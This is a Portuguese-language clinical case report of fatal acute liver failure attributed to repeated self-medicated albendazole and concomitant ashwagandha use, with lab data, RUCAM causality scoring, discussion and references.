<p class="wp-block-paragraph">A insuficiência hepática aguda (IHA) é uma síndrome clínica rara, porém associada a elevada&nbsp; morbimortalidade, caracterizada pelo rápido comprometimento da função hepática em&nbsp; indivíduos previamente sem doença hepática conhecida, manifestando-se por coagulopatia&nbsp; (INR ≥ 1,5) e encefalopatia hepática (BERNAL; WENDON, 2013; EUROPEAN&nbsp; ASSOCIATION FOR THE STUDY OF THE LIVER – EASL, 2017). Apesar de avanços no&nbsp; suporte intensivo e no transplante hepático, a IHA permanece um desafio clínico relevante,&nbsp; sobretudo pela rapidez de sua evolução e pela dificuldade em identificar precocemente sua&nbsp; etiologia (LEE, 2012; EASL, 2017).&nbsp;</p>



<p class="wp-block-paragraph">As causas de insuficiência hepática aguda variam conforme a região geográfica e o perfil&nbsp; populacional, incluindo infecções virais, isquemia hepática, doenças metabólicas e, de forma&nbsp; crescente, a lesão hepática induzida por fármacos (drug-induced liver injury – DILI) (LEE,&nbsp; 2012; CHALASANI et al., 2021). Em países ocidentais, a DILI constitui uma das principais&nbsp; causas de IHA e importante indicação de transplante hepático emergencial (BERNAL;&nbsp; WENDON, 2013; CHALASANI et al., 2021). Paralelamente, observa-se aumento&nbsp; significativo dos casos de lesão hepática associada ao uso de suplementos alimentares e&nbsp; fitoterápicos (herb-induced liver injury – HILI), fenômeno relacionado à ampla&nbsp; disponibilidade desses produtos, à percepção equivocada de segurança e ao uso sem&nbsp; prescrição ou acompanhamento médico (BJÖRNSSON et al., 2013; NAVARRO; SENIOR,&nbsp; 2006).&nbsp;</p>



<p class="wp-block-paragraph">A DILI e a HILI apresentam mecanismos fisiopatológicos complexos e frequentemente&nbsp; peculiares, não dependentes de dose, envolvendo suscetibilidade genética, formação de&nbsp; metabólitos reativos, estresse oxidativo, disfunção mitocondrial e resposta imune adaptativa&nbsp; mediada por linfócitos T (ANDRADE et al., 2019; CHALASANI et al., 2021). Essas reações&nbsp; podem variar desde elevações assintomáticas de enzimas hepáticas até quadros graves de&nbsp; hepatite aguda e falência hepática fulminante, com necessidade de transplante hepático ou&nbsp; evolução para óbito (LEE, 2012; EASL, 2017). A identificação da etiologia torna-se ainda&nbsp; mais desafiadora quando há exposição concomitante a múltiplas substâncias potencialmente&nbsp; hepatotóxicas ou reexposição a um mesmo agente, situação reconhecida como fator de risco&nbsp; para resposta imunomediada exacerbada (ANDRADE et al., 2019; CHALASANI et al.,&nbsp; 2021).&nbsp;</p>



<p class="wp-block-paragraph">O albendazol, anti-helmíntico amplamente utilizado e geralmente considerado seguro quando&nbsp; administrado em doses terapêuticas, pode cursar com elevação transitória de&nbsp; aminotransferases; entretanto, há descrições de hepatotoxicidade clinicamente significativa,&nbsp; incluindo casos raros de insuficiência hepática aguda, sobretudo após reexposição&nbsp; (LIVERTOX, 2023a). De modo semelhante, a ashwagandha (Withania somnifera),&nbsp; fitoterápico amplamente utilizado para fins estéticos, emagrecimento e melhora do&nbsp; desempenho físico, tem sido associada a quadros de lesão hepática colestática ou mista, com&nbsp; relatos recentes de evolução grave (BJÖRNSSON et al., 2013; LIVERTOX, 2023b).&nbsp;</p>



<p class="wp-block-paragraph">Diante desse contexto, o presente trabalho tem como objetivo relatar um caso de insuficiência&nbsp; hepática aguda fulminante associado à reexposição ao albendazol e ao uso concomitante de&nbsp; múltiplos fitoterápicos, destacando os desafios diagnósticos, a possível interação entre&nbsp; agentes hepatotóxicos e a importância da investigação detalhada do uso de medicamentos e&nbsp; suplementos na abordagem de pacientes com falência hepática aguda.&nbsp;</p>



<p class="wp-block-paragraph">1.1 OBJETIVOS&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>1.1.1 Objetivo geral&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Relatar o caso de paciente exposta a ciclos consecutivos de Albendazol, em dose terapêutica,&nbsp; associada ao uso concomitante de Ashwagandha com evolução rápida e progressiva para&nbsp; falência hepática, transferida a um hospital terciário de referência para avaliação de&nbsp; Transplante Hepático.&nbsp;</p>



<p class="wp-block-paragraph"><strong>1.1.2 Objetivos específicos&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Avaliar o quadro clínico, tratamento e desfecho de um paciente com falência hepática aguda,&nbsp; por provável exposição a Albendazol em conjunto com Ashwagandha para fins de&nbsp; emagrecimento, sem orientação médica, em um hospital terciário da Grande Vitória &#8211; ES.&nbsp; Relatar e descrever o caso, que vem se tornando mais frequente no contexto atual da&nbsp; medicina, colaborando com informações científicas e ampliando conhecimento.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2 METODOLOGIA&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">2.1 DELINEAMENTO DO ESTUDO&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Trata-se de um relato de caso clínico, de caráter observacional e descritivo, elaborado a partir&nbsp; da análise retrospectiva de prontuário, exames laboratoriais complementares e evolução clínica&nbsp; de paciente admitida com diagnóstico de insuficiência hepática aguda. A condução clínica do&nbsp; caso baseou-se na abordagem diagnóstica recomendada por diretrizes internacionais, com&nbsp; exclusão sistemática de causas infecciosas, autoimunes, metabólicas e obstrutivas de falência&nbsp; hepática, suspensão imediata de potenciais agentes hepatotóxicos e encaminhamento precoce&nbsp; para centro especializado em transplante hepático, diante da rápida progressão para critérios&nbsp; de gravidade.&nbsp;</p>



<p class="wp-block-paragraph">A avaliação de causalidade para lesão hepática induzida por fármacos e suplementos (drug induced liver injury – DILI; herb-induced liver injury – HILI) foi realizada retrospectivamente,&nbsp; exclusivamente para fins acadêmicos e descritivos, por meio da aplicação do Roussel Uclaf&nbsp; Causality Assessment Method (RUCAM), método validado e amplamente utilizado em relatos&nbsp; de caso, estudos observacionais e farmacovigilância. Como suporte à identificação,&nbsp; caracterização e plausibilidade biológica da hepatotoxicidade associada aos agentes suspeitos,&nbsp; foi utilizado o banco de dados LiverTox, mantido pelo National Institute of Diabetes and&nbsp; Digestive and Kidney Diseases (NIDDK/NIH), referência internacional em hepatotoxicidade&nbsp; induzida por medicamentos e fitoterápicos.&nbsp;</p>



<p class="wp-block-paragraph">2.2 LOCAL DO ESTUDO&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Unidade de Terapia Intensiva (UTI) de um hospital da Grande Vitória, em Vila Velha, Espírito&nbsp; Santo, Brasil.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">2.3 ASPECTOS ÉTICOS&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O estudo foi elaborado de acordo com os princípios éticos estabelecidos pela <strong>Resolução nº&nbsp; 466/2012 do Conselho Nacional de Saúde</strong>, garantindo a confidencialidade das informações&nbsp; e o anonimato da paciente. Por se tratar de relato de caso, sem identificação direta ou indireta&nbsp; do paciente, e com finalidade exclusivamente científica e educacional, não foi submetido&nbsp; para apreciação ao Comitê de Ética em Pesquisa.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3 RELATO DE CASO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Paciente do sexo feminino, 49 anos, previamente hígida, com antecedente remoto de episódio&nbsp; de hepatite há aproximadamente 20 anos, sem documentação etiológica e sem outras&nbsp; comorbidades conhecidas, procurou atendimento em pronto atendimento municipal em 09&nbsp; de agosto de 2024 com quadro de mal-estar geral, astenia intensa, náuseas, vômitos, colúria&nbsp; e icterícia progressiva. Relatava uso recente de albendazol por automedicação durante cinco&nbsp; dias, seguido de nova exposição aproximadamente 25 dias após o primeiro ciclo. Informava&nbsp; ainda uso concomitante de múltiplos suplementos e fitoterápicos, incluindo creatina,&nbsp; ashwagandha, maca peruana, long jack, ginseng, feno-grego, coenzima Q10 e extrato de&nbsp; amora.&nbsp;</p>



<p class="wp-block-paragraph">Na admissão inicial, os exames laboratoriais evidenciaram lesão hepatocelular maciça, com&nbsp; AST (TGO) de 6.158 U/L e ALT (TGP) de 5.550 U/L, associadas a bilirrubina total de 12,84&nbsp; mg/dL (fração direta 7,4 mg/dL e indireta 5,44 mg/dL). A fosfatase alcalina encontrava-se&nbsp; discretamente elevada (137 U/L). O tempo de protrombina era de 26,4 segundos, com INR&nbsp; de 2,58, já configurando disfunção sintética hepática significativa. Sorologias demonstraram&nbsp; HCV não reagente, HIV 1 e 2 não reagentes, anti-HAV IgG reagente e anti-HAV IgM não&nbsp; reagente, afastando hepatite A aguda e indicando apenas imunidade prévia. O padrão&nbsp; bioquímico inicial era claramente hepatocelular, compatível com necrose hepatocelular&nbsp; extensa.&nbsp;</p>



<p class="wp-block-paragraph">Devido à piora clínica e laboratorial, foi encaminhada em 12 de agosto de 2024 a hospital&nbsp; terciário de referência ao norte do estado. Evoluiu com progressivo rebaixamento do nível&nbsp; de consciência, compatível com encefalopatia hepática avançada, sendo submetida à&nbsp; intubação orotraqueal em 14 de agosto de 2024 para proteção de vias aéreas.&nbsp;</p>



<p class="wp-block-paragraph">Em 16 de agosto de 2024, foi transferida para hospital de referência em Vila Velha para&nbsp; avaliação da equipe de transplante hepático. Na admissão na unidade de terapia intensiva,&nbsp; apresentava insuficiência hepática aguda grave associada a choque circulatório, necessitando&nbsp; de ventilação mecânica invasiva e uso de drogas vasoativas, incluindo noradrenalina e&nbsp; vasopressina.&nbsp;</p>



<p class="wp-block-paragraph">Durante a internação no serviço de referência, observou-se progressão da&nbsp; hiperbilirrubinemia, com valores entre 21 e 23 mg/dL, agravamento da coagulopatia com&nbsp; INR atingindo 4,27, tempo de protrombina de 43 segundos e atividade protrombínica de&nbsp; 13,5%. Evoluiu ainda com insuficiência renal aguda importante, com creatinina de até 6,70&nbsp; mg/dL e ureia de 104,8 mg/dL, configurando falência orgânica múltipla. Gasometria arterial&nbsp;evidenciou acidose metabólica grave, com pH de 6,86, bicarbonato de 16,5 mmol/L e excesso&nbsp; de base de −17,1, além de lactato de 15,7 mmol/L.&nbsp;</p>



<p class="wp-block-paragraph">Hemograma demonstrou anemia macrocítica (hemoglobina 10,3 g/dL; VCM 105 fL),&nbsp; plaquetopenia (120.000/mm³) e leucócitos em torno de 10.000/mm³. Exames de imagem&nbsp; abdominal (ultrassonografia e tomografia computadorizada) mostraram fígado de morfologia&nbsp; preservada, sem dilatação de vias biliares intra ou extra-hepáticas, e vesícula biliar com&nbsp; discreto espessamento parietal, compatível com processo inflamatório reacional.&nbsp;</p>



<p class="wp-block-paragraph">Tomografias computadorizadas seriadas de crânio evidenciaram edema cerebral difuso, com&nbsp; perda da diferenciação entre substância branca e cinzenta e redução do sistema ventricular&nbsp; supratentorial, sem lesões focais estruturais. Evoluiu com crises convulsivas focais,&nbsp; anisocoria, ausência de reflexos de tronco encefálico e sinais de hipertensão intracraniana&nbsp; refratária às medidas clínicas, incluindo sedoanalgesia profunda, uso de manitol e controle&nbsp; rigoroso ventilatório e hemodinâmico.&nbsp;</p>



<p class="wp-block-paragraph">Ecocardiograma transtorácico demonstrou função sistólica preservada, com fração de ejeção&nbsp; de 67%, e disfunção diastólica grau I, sem repercussões hemodinâmicas significativas.&nbsp; Apresentava MELD-Na de 46 e foi avaliada pela equipe de transplante hepático. Apesar das&nbsp; medidas intensivas instituídas, manteve deterioração progressiva do quadro neurológico,&nbsp; hepático e circulatório, evoluindo em 21 de agosto de 2024 com parada cardiorrespiratória&nbsp; refratária às manobras de reanimação, sendo declarado óbito às 05h20.&nbsp;</p>



<p class="wp-block-paragraph">A cronologia do quadro, associando reexposição recente ao albendazol, uso concomitante de&nbsp; múltiplos fitoterápicos potencialmente hepatotóxicos e padrão laboratorial inicial de necrose&nbsp; hepatocelular maciça, sugere etiologia medicamentosa como principal hipótese diagnóstica&nbsp; para a falência hepática aguda de evolução fulminante.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4 DISCUSSÃO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A insuficiência hepática aguda (IHA) é uma condição clínica rara e de alta letalidade,&nbsp; caracterizada por deterioração rápida da função hepática em indivíduos sem doença hepática&nbsp; prévia conhecida, cursando com coagulopatia e encefalopatia hepática. Entre suas etiologias,&nbsp; a lesão hepática induzida por fármacos (drug-induced liver injury – DILI) e por suplementos&nbsp; ou fitoterápicos (herb-induced liver injury – HILI) representa uma das causas mais&nbsp; desafiadoras do ponto de vista diagnóstico e prognóstico, em razão de seu caráter peculiar,&nbsp;imprevisível e potencialmente fulminante (EUROPEAN ASSOCIATION FOR THE&nbsp; STUDY OF THE LIVER – EASL, 2019; FONTANA et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Na avaliação da lesão hepática induzida por fármacos e suplementos, a caracterização do&nbsp; padrão bioquímico é etapa essencial para o raciocínio etiológico. Para isso, utiliza-se&nbsp; amplamente o R-ratio, índice proposto para diferenciar lesão hepatocelular, colestática ou&nbsp; mista, conforme recomendado pelas diretrizes da European Association for the Study of the&nbsp; Liver (EASL, 2019). O R-ratio é calculado pela razão entre a elevação relativa da alanina&nbsp; aminotransferase (ALT) e a elevação relativa da fosfatase alcalina (FA), ambas normalizadas&nbsp; pelo respectivo limite superior da normalidade (LSN), conforme a fórmula:&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>R = (ALT / LSN ALT) / (FA / LSN FA) .</strong></p>



<p class="wp-block-paragraph">Valores de R maiores que 5 definem padrão hepatocelular; valores inferiores a 2 caracterizam&nbsp; padrão colestático; e valores entre 2 e 5 indicam padrão misto.&nbsp;</p>



<p class="wp-block-paragraph">No presente caso, na admissão inicial, a paciente apresentava ALT de 5.550 U/L (LSN&nbsp; aproximado de 40 U/L) e fosfatase alcalina de 137 U/L (LSN aproximado de 120 U/L),&nbsp; resultando em R-ratio superior a 100, compatível com padrão hepatocelular extremo. Esse&nbsp; achado é característico de necrose hepatocelular maciça, frequentemente descrita em lesões&nbsp; hepáticas graves induzidas por drogas e em hepatites virais fulminantes, reforçando a&nbsp; natureza predominantemente hepatocelular do insulto inicial.&nbsp;</p>



<p class="wp-block-paragraph">A interpretação do R-ratio, associada à exclusão de causas alternativas e à cronologia de&nbsp; exposição medicamentosa, constitui elemento fundamental na avaliação de causalidade em&nbsp; DILI/HILI.&nbsp;</p>



<p class="wp-block-paragraph">No presente relato, descreve-se um quadro de falência hepática aguda fulminante, associado&nbsp; à exposição repetida ao albendazol, em dose terapêutica, associada ao uso concomitante de&nbsp; suplemento natural contendo Ashwagandha (Withania somnifera), evoluindo em curto&nbsp; intervalo para falência hepática aguda fulminante, com hiperbilirrubinemia grave (bilirrubina&nbsp; total até 22 mg/dL), edema cerebral e óbito antes da estabilização clínica para transplante&nbsp; hepático.&nbsp;</p>



<p class="wp-block-paragraph">4.1 ALBENDAZOL E LESÃO HEPÁTICA INDUZIDA POR FÁRMACO&nbsp;</p>



<p class="wp-block-paragraph">O albendazol é um anti-helmíntico amplamente utilizado, considerado seguro na maioria dos&nbsp; casos; contudo, há evidências consistentes de sua associação com hepatotoxicidade&nbsp; clinicamente significativa, incluindo hepatite aguda e, raramente, progressão para insuficiência&nbsp; hepática aguda ou subfulminante (NIDDK, 2021; FREIRE et al., 2015). A lesão hepática&nbsp; associada ao albendazol apresenta caráter predominantemente peculiar, não relacionado à dose,&nbsp;com latência variável e espectro clínico amplo, desde a elevação assintomática de&nbsp; aminotransferases até falência hepática fulminante (RÍOS et al., 2013).&nbsp;</p>



<p class="wp-block-paragraph">No caso em questão, a paciente foi submetida a dois ciclos consecutivos de albendazol (01&nbsp; comprimido por 05 dias), separados por intervalo de aproximadamente 1 a 2 semanas. Esse&nbsp; achado é particularmente relevante, uma vez que a reexposição ao agente suspeito é&nbsp; reconhecida como um dos critérios mais fortes de causalidade em DILI, estando associada a&nbsp; reações mais intensas e maior risco de evolução desfavorável (DANAN; TESCHKE, 2015;&nbsp; HAYASHI et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">Do ponto de vista fisiopatológico, o albendazol sofre intenso metabolismo hepático de primeira&nbsp; passagem, sendo convertido principalmente em albendazol sulfóxido, metabólito ativo que&nbsp; pode gerar intermediários reativos capazes de se ligar a proteínas hepáticas e desencadear&nbsp; resposta imune adaptativa em indivíduos suscetíveis. Esse mecanismo explica a&nbsp; imprevisibilidade da reação, a ausência de relação dose-dependente e a gravidade potencial&nbsp; observada após reexposição (NIDDK, 2021). A progressão para falência hepática aguda reflete&nbsp; necrose hepatocelular extensa, inflamação sistêmica e falência da capacidade regenerativa&nbsp; hepática, cenário descrito em relatos prévios associados ao albendazol (AASEN et al., 2015).&nbsp;</p>



<p class="wp-block-paragraph">4.2 ASHWAGANDHA E LESÃO HEPÁTICA INDUZIDA POR FITOTERÁPICOS&nbsp;</p>



<p class="wp-block-paragraph">A ashwagandha (Withania somnifera) é amplamente utilizada em suplementos naturais,&nbsp; frequentemente associados a emagrecimento, controle do estresse e melhora do desempenho&nbsp; físico. Apesar da percepção popular de segurança, evidências recentes demonstram associação&nbsp; consistente entre o uso de ashwagandha e lesão hepática induzida por fitoterápicos (HILI), com&nbsp; múltiplos relatos e séries de casos bem documentados (BJÖRNSSON et al., 2020; PHILIPS et&nbsp; al., 2023; NIDDK, 2024).&nbsp;</p>



<p class="wp-block-paragraph">O padrão de hepatotoxicidade mais frequentemente descrito é <strong>colestático ou misto</strong>,&nbsp; caracterizado por icterícia intensa, prurido e elevação significativa da bilirrubina,&nbsp; frequentemente com curso clínico prolongado mesmo após a suspensão do suplemento&nbsp; (BJÖRNSSON et al., 2020). A fisiopatologia proposta envolve mecanismos idiossincráticos,&nbsp; possivelmente relacionados à interferência em transportadores canaliculares biliares, além de&nbsp; resposta imunomediada, o que explicaria a variabilidade clínica e a ausência de correlação clara&nbsp; com dose ou tempo de uso (BOKAN et al., 2023). Estudos recentes demonstraram que&nbsp;pacientes com doença hepática prévia podem evoluir com falência hepática aguda sobre&nbsp; crônica (ACLF) e elevada mortalidade após exposição à ashwagandha (PHILIPS et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">No presente caso, o uso concomitante de suplemento contendo ashwagandha pode ter atuado&nbsp; como fator agravante, atuando de forma sinérgica à lesão hepática induzida pelo albendazol&nbsp; contribuindo para colestase importante e hiperbilirrubinemia acentuada, reduzindo a reserva&nbsp; funcional hepática e potencializando a evolução desfavorável desencadeada pelo albendazol.&nbsp;</p>



<p class="wp-block-paragraph">4.3 AVALIAÇÃO DE CAUSALIDADE E INTEGRAÇÃO ETIOLÓGICA&nbsp;</p>



<p class="wp-block-paragraph">A aplicação retrospectiva do Roussel Uclaf Causality Assessment Method (RUCAM) reforça&nbsp; o albendazol como principal agente causal, classificado como DILI (drug-induced liver injury)&nbsp; provável, sobretudo em razão da reexposição precoce e da progressão clínica dramática&nbsp; subsequente. A ashwagandha foi classificada como HILI (herb-induced liver injury) provável,&nbsp; configurando um fator coadjuvante relevante na gravidade do quadro. A associação entre DILI&nbsp; e HILI, embora pouco descrita, representa um cenário de agressão hepática múltipla, capaz de&nbsp; acelerar a progressão para falência hepática fulminante.&nbsp;</p>



<p class="wp-block-paragraph">4.4 APLICAÇÃO DO RUCAM (ROUSSEL UCLAF CAUSALITY ASSESSMENT&nbsp; METHOD)&nbsp;</p>



<p class="wp-block-paragraph">A seguir, aplica-se o RUCAM revisado, conforme recomendado por diretrizes internacionais,&nbsp; para avaliação da causalidade tanto do albendazol quanto da ashwagandha (DANAN;&nbsp; TESCHKE, 2015; HAYASHI et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.4.1 RUCAM – Albendazol&nbsp;</strong></p>



<p class="has-text-align-left wp-block-paragraph">Padrão de lesão: Hepatocelular / Misto (com icterícia grave)&nbsp;</p>



<figure class="wp-block-image size-full"><img decoding="async" width="624" height="358" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-450.png" alt="" class="wp-image-266008" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-450.png 624w, https://revistaft.com.br/wp-content/uploads/2026/02/image-450-300x172.png 300w" sizes="(max-width: 624px) 100vw, 624px" /></figure>



<p class="has-text-align-left wp-block-paragraph"><strong>Pontuação total</strong>: + 8&nbsp;</p>



<p class="has-text-align-left wp-block-paragraph"><strong>Classificação</strong>: Provável DILI por albendazol</p>



<p class="wp-block-paragraph">4.4.2 <strong>RUCAM – Ashwagandha&nbsp;</strong></p>



<p class="wp-block-paragraph">Padrão de lesão:<strong> </strong>Colestático / Misto </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="669" height="332" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-451.png" alt="" class="wp-image-266009" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-451.png 669w, https://revistaft.com.br/wp-content/uploads/2026/02/image-451-300x149.png 300w" sizes="(max-width: 669px) 100vw, 669px" /></figure>



<p class="has-text-align-left wp-block-paragraph"><strong>Pontuação total</strong>: + 5&nbsp;</p>



<p class="has-text-align-left wp-block-paragraph"><strong>Classificação</strong>: Provável HILI por Ashwagandha&nbsp;</p>



<p class="wp-block-paragraph"><strong>5 CONCLUSÃO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente relato descreve um caso de falência hepática aguda fulminante, culminando em&nbsp; edema cerebral e óbito, associado à lesão hepática induzida por fármacos e suplementos,&nbsp; envolvendo exposição repetida ao albendazol e uso concomitante de suplemento natural&nbsp; contendo ashwagandha (Withania somnifera).&nbsp;</p>



<p class="wp-block-paragraph">A análise clínica, temporal e metodológica sustenta fortemente o diagnóstico de DILI provável por albendazol, conforme demonstrado pela aplicação do RUCAM, especialmente&nbsp; pela reexposição precoce, reconhecida como um dos critérios mais robustos de causalidade&nbsp; (DANAN; TESCHKE, 2015; HAYASHI et al., 2022). A progressão acelerada após o&nbsp; segundo ciclo sugere um mecanismo idiossincrático, possivelmente imunomediado, levando&nbsp;a necrose hepatocelular extensa e rápida perda da função hepática, conforme descrito em&nbsp; relatos prévios e revisões especializadas (NIDDK, 2021; FREIRE et al., 2015).&nbsp;</p>



<p class="wp-block-paragraph">Adicionalmente, o uso concomitante de ashwagandha, classificado neste caso como HILI&nbsp; provável, pode ter atuado como fator agravante, contribuindo para um padrão&nbsp; colestático/misto, com hiperbilirrubinemia grave (22 mg/dL) e redução adicional da reserva&nbsp; funcional hepática. Evidências recentes demonstram que a ashwagandha não é isenta de risco&nbsp; hepático, estando associada a quadros de hepatite colestática e, em pacientes suscetíveis, à&nbsp; evolução para insuficiência hepática grave (BJÖRNSSON et al., 2020; PHILIPS et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Este caso reforça a importância da investigação sistemática do uso de suplementos naturais,&nbsp; frequentemente subestimados na anamnese, bem como a necessidade de cautela quanto à&nbsp; reexposição a fármacos potencialmente hepatotóxicos, mesmo em doses consideradas&nbsp; terapêuticas. Além disso, destaca a evolução imprevisível e potencialmente fatal da&nbsp; DILI/HILI, ressaltando a necessidade de reconhecimento precoce e encaminhamento&nbsp; imediato a centros especializados em falência hepática e transplante.&nbsp;</p>



<p class="wp-block-paragraph"><strong>6 LIMITAÇÕES DO ESTUDO&nbsp;</strong></p>



<p class="wp-block-paragraph">Algumas limitações devem ser reconhecidas. Trata-se de um relato de caso único, o que&nbsp; impede inferências causais definitivas ou generalizações. A evolução extremamente rápida&nbsp; para óbito impossibilitou a observação do curso laboratorial após suspensão completa dos&nbsp; agentes suspeitos, bem como a realização de biópsia hepática, que poderia contribuir para&nbsp; melhor caracterização histopatológica da lesão. Além disso, a composição exata e a&nbsp; concentração dos princípios ativos do suplemento contendo ashwagandha não puderam ser&nbsp; analisadas laboratorialmente, limitando a avaliação do papel isolado do fitoterápico. Ainda&nbsp; assim, a cronologia compatível, a reexposição documentada ao albendazol, a exclusão de&nbsp; causas alternativas e a aplicação sistemática do RUCAM conferem elevada plausibilidade&nbsp; causal ao caso.</p>



<p class="wp-block-paragraph"><strong>7 CONSIDERAÇÕES ÉTICAS&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente relato foi elaborado de acordo com os princípios éticos estabelecidos pela&nbsp; <strong>Resolução nº 466/2012 do Conselho Nacional de Saúde</strong>, garantindo a confidencialidade&nbsp; das informações e o anonimato da paciente. Por se tratar de relato de caso, retrospectivo,&nbsp; sem identificação do paciente, e com finalidade exclusivamente científica e educacional, não&nbsp; houve necessidade de submissão ao Comitê de Ética em Pesquisa, conforme Resolução CNS&nbsp; nº 466/2012.</p>



<p class="wp-block-paragraph"><strong>8. REFERÊNCIAS&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">1. AASEN, T. D. et al. <strong>Acute liver failure secondary to albendazole: defining a&nbsp; management strategy</strong>. The American Journal of Gastroenterology, v. 110, supl. 1, 2015. </p>



<p class="wp-block-paragraph">2. ANDRADE, R. J. et al. <strong>Drug-induced liver injury</strong>. Nature Reviews Disease Primers, v.&nbsp; 5, n. 1, p. 58, 2019.&nbsp;</p>



<p class="wp-block-paragraph">3. BERNAL, W.; WENDON, J. <strong>Acute liver failure</strong>. The New England Journal of&nbsp; Medicine, v. 369, n. 26, p. 2525–2534, 2013.&nbsp;</p>



<p class="wp-block-paragraph">4. BJÖRNSSON, H. K. et al. <strong>Liver injury due to ashwagandha: a case series from&nbsp; Iceland and the U.S. Drug-Induced Liver Injury Network</strong>. Liver International, v. 40,&nbsp; n. 4, p. 825–829, 2020.&nbsp;</p>



<p class="wp-block-paragraph">5. BOKAN, G. et al. <strong>Herb-induced liver injury by Ayurvedic ashwagandha as the&nbsp; suspected cause: review of published cases and two new cases</strong>. Pharmaceuticals, v.&nbsp; 16, n. 8, p. 1129, 2023.&nbsp;</p>



<p class="wp-block-paragraph">6. BRASIL. Conselho Nacional de Saúde. <strong>Resolução nº 466, de 12 de dezembro de 2012.&nbsp; Dispõe sobre diretrizes e normas regulamentadoras de pesquisas envolvendo seres&nbsp; humanos</strong>. Diário Oficial da União, Brasília, 13 jun. 2013.&nbsp;</p>



<p class="wp-block-paragraph">7. CHALASANI, N. P. et al. <strong>ACG Clinical Guideline: diagnosis and management of&nbsp; idiosyncratic drug-induced liver injury</strong>. The American Journal of Gastroenterology, v.&nbsp; 116, n. 5, p. 878–898, 2021.&nbsp;</p>



<p class="wp-block-paragraph">8. CHOI, G. Y. et al. <strong>Acute drug-induced hepatitis caused by albendazole</strong>. Journal of&nbsp; Korean Medical Science, v. 23, n. 5, p. 903–905, 2008.&nbsp;</p>



<p class="wp-block-paragraph">9. DANAN, G.; TESCHKE, R. <strong>RUCAM in drug and herb induced liver injury: the&nbsp; update</strong>. International Journal of Molecular Sciences, v. 17, n. 1, p. 14, 2015. </p>



<p class="wp-block-paragraph">10. EUROPEAN ASSOCIATION FOR THE STUDY OF THE LIVER (EASL). <strong>EASL&nbsp; Clinical Practice Guidelines: Drug-induced liver injury</strong>. Journal of Hepatology, v. 70,&nbsp; n. 6, p. 1222–1261, 2019.&nbsp;</p>



<p class="wp-block-paragraph">11. EUROPEAN ASSOCIATION FOR THE STUDY OF THE LIVER (EASL). <strong>EASL&nbsp; Clinical Practice Guidelines on the management of acute (fulminant) liver failure</strong>.&nbsp; Journal of Hepatology, v. 66, n. 5, p. 1047–1081, 2017.&nbsp;</p>



<p class="wp-block-paragraph">12. FONTANA, R. J. et al. <strong>AASLD practice guidance on drug, herbal, and dietary&nbsp; supplement–induced liver injury</strong>. Hepatology, v. 77, n. 3, p. 1036–1065, 2023. </p>



<p class="wp-block-paragraph">13. FREIRE, J. F. et al. <strong>Subfulminant acute liver failure by albendazole</strong>. Journal of&nbsp; Medical Cases, v. 6, n. 11, p. 493–496, 2015.</p>



<p class="wp-block-paragraph">14. HAYASHI, P. H. et al. <strong>Revised electronic version of RUCAM for the diagnosis of&nbsp; drug-induced liver injury</strong>. Hepatology Communications, v. 6, n. 12, p. 3299–3310,&nbsp; 2022.&nbsp;</p>



<p class="wp-block-paragraph">15. LEE, W. M. <strong>Acute liver failure</strong>. The New England Journal of Medicine, v. 367, n. 26,&nbsp; p. 2526–2534, 2012.&nbsp;</p>



<p class="wp-block-paragraph">16. LUBARSKA, M. et al. <strong>A case report of ashwagandha-induced liver injury</strong>.&nbsp; International Journal of Environmental Research and Public Health, v. 20, n. 5, p. 3921,&nbsp; 2023.&nbsp;</p>



<p class="wp-block-paragraph">17. NARCISO-SCHIAVON, J. L. et al. <strong>Recurrent albendazole-induced acute hepatitis</strong>.&nbsp; Revista Colombiana de Gastroenterología, v. 33, n. 4, p. 473–477, 2018. </p>



<p class="wp-block-paragraph">18. NATIONAL INSTITUTE OF DIABETES AND DIGESTIVE AND KIDNEY&nbsp; DISEASES (NIDDK). <strong>Albendazole</strong>. In: LiverTox: Clinical and Research Information&nbsp; on Drug-Induced Liver Injury. Bethesda: National Institutes of Health, 2021. Disponível&nbsp; em: https://www.ncbi.nlm.nih.gov/books/NBK548360/. Acesso em: jan. 2026. </p>



<p class="wp-block-paragraph">19. NATIONAL INSTITUTE OF DIABETES AND DIGESTIVE AND KIDNEY&nbsp; DISEASES (NIDDK). <strong>Ashwagandha</strong>. In: LiverTox: Clinical and Research Information&nbsp; on Herb-Induced Liver Injury. Bethesda: National Institutes of Health, 2024. Disponível&nbsp; em: https://www.ncbi.nlm.nih.gov/books/NBK548536/. Acesso em: jan. 2026. </p>



<p class="wp-block-paragraph">20. NAVARRO, V. J.; SENIOR, J. R. <strong>Drug-related hepatotoxicity</strong>. The New England&nbsp; Journal of Medicine, v. 354, n. 7, p. 731–739, 2006.&nbsp;</p>



<p class="wp-block-paragraph">21. PHILIPS, C. A. et al. <strong>Ashwagandha-induced liver injury: a case series from India&nbsp; and literature review</strong>. Hepatology Communications, v. 7, n. 10, e0371, 2023. </p>



<p class="wp-block-paragraph">22. RÍOS, D. et al. <strong>Albendazole-induced liver injury: a case report</strong>. Annals of Hepatology,&nbsp; v. 12, n. 3, p. 448–451, 2013.</p>



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			</item>
		<item>
